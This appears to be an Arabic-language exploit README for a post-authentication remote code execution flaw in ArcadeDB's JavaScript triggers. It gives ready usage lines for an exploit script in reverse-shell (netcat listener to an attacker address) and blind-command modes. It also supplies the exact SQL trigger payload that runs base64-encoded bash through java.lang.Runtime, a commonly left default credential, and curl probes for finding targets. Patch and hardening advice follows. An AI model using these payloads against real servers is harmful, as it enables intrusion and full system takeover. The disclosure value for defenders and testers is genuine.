
استغلال تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في ArcadeDB عبر مُشغّل JavaScript لتجاوز الصندوق الرمل (sandbox) الخاص بـ GraalVM، مع تنفيذ أوامر نظام التشغيل عبر واجهة HTTP API باستخدام وضعَي القشرة العكسية أو الأوامر العمياء.
تنفيذ تعليمات برمجية عن بُعد بعد المصادقة في ArcadeDB (قاعدة بيانات جافا متعددة النماذج) عبر مشغّل JAVASCRIPT يصل إلى فئات المضيف.
محرك GraalVM متعدد اللغات للمشغّل مبني بقائمة سماح لفئات المضيف تتضمن java.lang.* (ScriptTriggerExecutor.setAllowedPackages)، لذلك يمكن لسكربت المشغّل استدعاء:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
لا يحجزه allowCreateProcess(false) — إذ أن Runtime.exec هو استدعاء دالة مضيفة يسمح به HostAccess.ALL، وليس واجهة برمجة عمليات الضيف في GraalVM. إنشاء مشغّل لا يتطلب سوى صلاحية UPDATE_SCHEMA (أضعف من UPDATE_SECURITY التي تتحكم في السكربت المباشر)، لذا يمكن لـ root فعل ذلك — RCE بعد المصادقة عبر واجهة HTTP API.
< 26.7.2 (0 – 26.7.1)26.7.2 (يزيل java.lang.* من قائمة سماح المشغّل + يضيف HostClassLookupFilter حرفيًا مع قائمة منع للعمليات/الانعكاس/محمل الفئات)2480 (HTTP API + Studio; مصادقة أساسية)مسار الأمر المباشر
language:jsليس هو ناقل الهجوم — فهو لا يملك حزمًا مسموحًا بها (Java.typeمحجوب) ومقيد خلفUPDATE_SECURITY. فقط مُنفّذ المشغّل يضمّنjava.lang.*بشكل ثابت.
مكتبة بايثون 3 القياسية فقط — لا تبعيات. بيانات اعتماد صالحة لـ ArcadeDB مع صلاحية UPDATE_SCHEMA (مثل root). لا تملك ArcadeDB كلمة مرور افتراضية مضمّنة، لكن ملف docker-compose.yml الخاص بها يأتي بمثال root:playwithdata، وهو بيانات اعتماد شائعة تُترك كما هي.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
ثلاثة طلبات POST /api/v1/command/<db> مصادَق عليها (language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — يُطلق مشغّل BEFORE CREATE ويُنفَّذ كود JavaScript.يُغلَّف أمر نظام التشغيل بترميز base64 بحيث لا تحتاج طبقات JavaScript/SQL/JSON إلى تهريب علامات اقتباس متداخلة، ويحذف السكربت waitFor() لذلك يعود exec فورًا (تبقى العملية الفرعية تعمل، ولا يُحجب الطلب).
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
قم بالترقية إلى ArcadeDB ≥ 26.7.2، وعيّن rootPassword قوية (لا تستخدم playwithdata أبدًا)، ولا تُشغّل ArcadeDB كصلاحية root، وقيّد صلاحية UPDATE_SCHEMA، وأبقِ HTTP API/Studio بعيدًا عن الشبكات غير الموثوقة.
لأغراض الاختبارات الأمنية المصرّح بها والتعليم فقط. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.